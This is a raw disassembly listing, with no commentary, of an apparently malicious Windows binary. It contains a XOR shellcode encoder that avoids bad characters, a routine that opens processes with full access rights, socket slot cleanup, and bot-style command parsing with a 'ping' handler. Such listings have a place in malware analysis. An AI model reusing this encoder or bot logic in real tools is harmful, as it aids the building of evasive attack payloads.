loc_4255B6:				; CODE XREF: sub_425580+28j
					; sub_425580+2Cj ...
		add	ebx, 100h


loc_4255BC:				; CODE XREF: sub_425580+1Fj
					; sub_425580+34j
		push	ebx
		call	sub_4017BC
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_4255D5
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4255D5:				; CODE XREF: sub_425580+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_4255E0
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4255E0:				; CODE XREF: sub_425580+5Aj
		mov	al, byte_50E108
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_425610


loc_4255F1:				; CODE XREF: sub_425580+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_425607
		cmp	cl, 0Ah
		jz	short loc_425607
		cmp	cl, 0Dh
		jz	short loc_425607
		cmp	cl, 5Ch
		jnz	short loc_42560B


loc_425607:				; CODE XREF: sub_425580+76j
					; sub_425580+7Bj ...
		inc	al
		xor	edx, edx


loc_42560B:				; CODE XREF: sub_425580+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_4255F1


loc_425610:				; CODE XREF: sub_425580+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_50E108, al
		ja	short loc_425643
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C50
		mov	edi, edx
		mov	byte_444C5D, bl
		mov	byte_444C61, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_425669
; ---------------------------------------------------------------------------


loc_425643:				; CODE XREF: sub_425580+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C38
		mov	edi, edx
		mov	word_444C46, bx
		mov	byte_444C4B, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_425669:				; CODE XREF: sub_425580+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_42567F
		add	esi, edx


loc_425672:				; CODE XREF: sub_425580+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_425672


loc_42567F:				; CODE XREF: sub_425580+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_425580	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4256E0	proc near		; CODE XREF: sub_401E24j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_44919F[eax*4], ecx
		mov	dword_44918B[eax*4], ecx
		mov	dword_44918F[eax*4], ecx
		mov	dword_449193[eax*4], ecx
		mov	dword_449197[eax*4], ecx
		mov	dword_44919B[eax*4], ecx
		mov	byte_448F8B[eax*4], cl
		mov	byte_4491A3[eax*4], cl
		retn
sub_4256E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425750	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_425807
		cmp	ecx, 400h
		jge	loc_425807
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_44919F[esi*4]
		push	eax
		call	near ptr 2800D40h
		nop
		cmp	dword_44919F[esi*4], ebx
		jz	short loc_425798
		mov	ebp, 1


loc_425798:				; CODE XREF: sub_425750+41j
		mov	dword_44919F[esi*4], ebx
		mov	dword_44918B[esi*4], ebx
		mov	dword_44918F[esi*4], ebx
		mov	eax, dword_449193[esi*4]
		cmp	eax, ebx
		jbe	short loc_4257C1
		push	eax
		call	sub_401C6C
		add	esp, 4


loc_4257C1:				; CODE XREF: sub_425750+66j
		mov	edi, dword_50FC88
		mov	dword_449193[esi*4], ebx
		mov	byte_448F8B[esi*4], bl
		mov	byte_4491A3[esi*4], bl
		mov	ecx, dword_449197[esi*4]
		push	ecx
		call	edi	; closesocket
		mov	dword_449197[esi*4], ebx
		mov	edx, dword_44919B[esi*4]
		lea	esi, ds:44919Bh[esi*4]
		push	edx
		call	edi	; closesocket
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425807:				; CODE XREF: sub_425750+Cj
					; sub_425750+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_425750	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425840	proc near		; CODE XREF: sub_401D93j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_44918F


loc_425851:				; CODE XREF: sub_425840+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_425885
		test	ebx, ebx
		jle	short loc_425877
		cmp	[esi], ebx
		jz	short loc_425868
		cmp	edi, ebx
		jnz	short loc_425885


loc_425868:				; CODE XREF: sub_425840+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_425885
		jmp	short loc_425884
; ---------------------------------------------------------------------------


loc_425877:				; CODE XREF: sub_425840+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_425885


loc_425884:				; CODE XREF: sub_425840+35j
		inc	ebp


loc_425885:				; CODE XREF: sub_425840+1Aj
					; sub_425840+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D618F
		jl	short loc_425851
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_425840	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258C0	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		nop
		call	near ptr 28108A3h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4258F5
		push	0
		push	esi
		call	near ptr 27A0000h
		nop
		test	eax, eax
		jnz	short loc_4258F5
		push	esi
		xor	edi, edi
		call	near ptr 28D0809h
		nop


loc_4258F5:				; CODE XREF: sub_4258C0+1Dj
					; sub_4258C0+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4258C0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425910	proc near		; CODE XREF: sub_401483j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_44918B


loc_42591B:				; CODE XREF: sub_425910+1Cj
		cmp	[ecx], edx
		jnz	short loc_425920
		inc	eax


loc_425920:				; CODE XREF: sub_425910+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D618B
		jl	short loc_42591B
		retn
sub_425910	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425940	proc near		; CODE XREF: sub_401D8Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_44918B


loc_42594E:				; CODE XREF: sub_425940+1Fj
		cmp	[ecx], edx
		jz	short loc_425963
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D618B
		jl	short loc_42594E
		mov	eax, esi


loc_425963:				; CODE XREF: sub_425940+10j
		pop	esi
		retn
sub_425940	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425980	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_448F8B


loc_425988:				; CODE XREF: sub_425980+18j
		cmp	byte ptr [eax],	0
		jz	short loc_42599E
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D5F8B
		jl	short loc_425988
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42599E:				; CODE XREF: sub_425980+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:448F8Bh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		nop
		call	near ptr 77C47A90h
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_425980	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_425A20	proc near		; CODE XREF: sub_401609j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_425A20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
sub_425A20	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425C70:				; CODE XREF: ___:loc_401B6Dj
		push	0FFFFFFFFh
		push	offset loc_43B744
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_425E08
		push	95h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_425CDB
		mov	ecx, eax
		call	sub_401DD9
		mov	ebp, eax


loc_425CDB:				; CODE XREF: ___:00425CD0j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FBE
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425E08:				; CODE XREF: ___:00425CB1j
		lea	ecx, [ebx+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_425F7A
		push	95h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_425E4B
		mov	ecx, eax
		call	sub_401BC7
		mov	ebp, eax
		jmp	short loc_425E4D
; ---------------------------------------------------------------------------


loc_425E4B:				; CODE XREF: ___:00425E3Ej
		xor	ebp, ebp


loc_425E4D:				; CODE XREF: ___:00425E49j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425F7A:				; CODE XREF: ___:00425E1Dj
		lea	ecx, [ebx+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4260E9
		push	95h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_425FBA
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_425FBC
; ---------------------------------------------------------------------------


loc_425FBA:				; CODE XREF: ___:00425FADj
		xor	ebp, ebp


loc_425FBC:				; CODE XREF: ___:00425FB8j
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_4260E9:				; CODE XREF: ___:00425F8Cj
		lea	ecx, [ebx+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_426294
		push	95h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_426129
		mov	ecx, eax
		call	sub_401785
		mov	ebp, eax
		jmp	short loc_42612B
; ---------------------------------------------------------------------------


loc_426129:				; CODE XREF: ___:0042611Cj
		xor	ebp, ebp


loc_42612B:				; CODE XREF: ___:00426127j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_426294:				; CODE XREF: ___:004260FBj
		lea	ecx, [ebx+0EAh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4262B1
		mov	[ebx+11Ch], al


loc_4262B1:				; CODE XREF: ___:004262A9j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426470	proc near		; CODE XREF: sub_401A64j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A04
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_426491
		inc	ecx
		mov	[eax+118h], ecx


loc_426491:				; CODE XREF: sub_426470+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6E9B
		call	sub_40120D
sub_426470	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4264F0	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4264F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0DC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4264F0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_401F7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426560
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426600	proc near		; CODE XREF: sub_4014C4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426600
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426600	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4266C0:				; CODE XREF: ___:loc_4016D1j
					; ___:0040217Bj
		push	esi
		mov	esi, ecx
		call	sub_4014C4
		test	byte ptr [esp+8], 1
		jz	short loc_4266D8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4266D8:				; CODE XREF: ___:004266CDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266F0	proc near		; CODE XREF: sub_4011FEj ___:00402081j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402090
		test	[esp+4+arg_0], 1
		jz	short loc_426708
		push	esi
		call	sub_436882
